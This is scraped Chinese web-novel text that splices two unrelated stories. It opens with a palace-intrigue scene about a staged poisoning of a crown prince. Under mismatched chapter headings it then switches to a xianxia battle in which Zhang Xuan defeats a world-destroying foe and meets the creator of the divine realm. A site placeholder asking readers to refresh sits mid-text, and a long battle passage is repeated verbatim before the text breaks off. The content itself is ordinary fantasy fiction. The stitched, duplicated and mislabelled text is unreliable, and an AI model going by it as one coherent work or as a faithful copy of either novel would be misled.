萧景翊猛地捂住胸口,喉间发出一阵闷咳,鲜红的“血迹”顺着指缝滴落,在雪白的衣襟上晕开。 “噗——”他喷出一大口“鲜血”,直挺挺往后倒去。 “太子殿下!”沈青黛扑到萧景翊身边,声音都变了调,双手颤抖着探他的鼻息,“殿下!您可不能有事啊!” “这、这是怎么回事?”皇帝惊道,“快!快传太医!传太医院所有人都来!” 殿内瞬间乱作一团,宫女们尖叫着四处奔逃,侍卫们则抽出佩剑,将现场团团围住。 五皇子萧景桓站在原地,脸色白得像纸,看着地上的“血迹”和昏迷的萧景翊,结结巴巴地说:“这、这是什么情况……” 沈青黛突然抬起头,泪眼婆娑地看向皇帝,又偷偷瞥了五皇子一眼,目光中带着一丝怀疑和警惕。 这一眼,正好被皇帝捕捉到。 皇帝眉头紧皱,盯着五皇子沉声道:“景桓,你且说说,这到底是怎么回事?” “父皇!儿臣冤枉啊!”萧景桓急得直跺脚,“儿臣不过是找太子皇兄下棋,谁知道……” 他话还没说完,突然一拍脑袋,“对了!是沈良娣!是她准备的茶点!” 沈青黛“哇”地一声哭出来,抓着萧景翊的衣袖不肯松手。 “五皇子这是想推卸责任吗?方才殿下吃糕点时,明明是五皇子先动的手……” “你!”萧景桓被噎得说不出话,看着皇帝越来越阴沉的脸色,心里隐隐不安。 “父皇,儿臣真的不知情。儿臣突然想起还有要事,先行告退……” “站住!”皇帝一声怒吼,吓得萧景桓浑身一颤。 “太子生死未卜,你想一走了之?没有朕的旨意,谁都不许离开!” 这时,人群中一个小太监眼神闪烁,悄悄往后退去,正是皇后陆琼华安排的眼线。 沈青黛眼尖,一眼就发现了他的异常,连忙喊道:“那位公公留步!” 小太监心里“咯噔”一下,强装镇定地转过身:“沈良娣有何吩咐?” “方才太子殿下倒下前,吃了我准备的茶点。” 沈青黛走过去,拉住小太监的衣袖。 “公公在宫里当差多年,想必对药材很熟悉。” “能不能劳烦公公,帮忙去药庐熬些解毒的汤药?太子殿下的命可就全靠您了……” 小太监急得额头直冒冷汗,结结巴巴地说:“这、这恐怕不妥吧?老奴不懂医术……” “公公太谦虚了!”沈青黛硬是把他往殿外拽。 “我记得您上次还帮李答应熬过热姜茶,救人一命胜造七级浮屠啊!要是太子殿下有个三长两短……” 她故意顿了顿,眼神意味深长地看了小太监一眼。 小太监被她看得心里直发毛,再加上周围人都在看着,只好硬着头皮答应:“那、那老奴尽力而为……” 两人一离开大殿,沈青黛立刻换了副笑脸,从袖中掏出一锭银子塞给小太监。 “公公辛苦了!这是一点心意。不过在太子殿下醒过来之前,还请公公暂时不要离开药庐,免得有人说闲话。” 小太监看着手中的银子,又看看沈青黛似笑非笑的眼神,心里暗骂倒霉,却也只能乖乖跟着去了药庐。 这边厢,太医们终于赶到,围着萧景翊又是把脉又是查看眼睛。 为首的王太医脸色凝重。 “陛下,太子殿下中的毒来势汹汹,不过暂时并无性命之忧。只是这毒……臣等还需仔细查验。” 第七十八章 确诊中毒 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第七十九章 皇后自乱阵脚 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 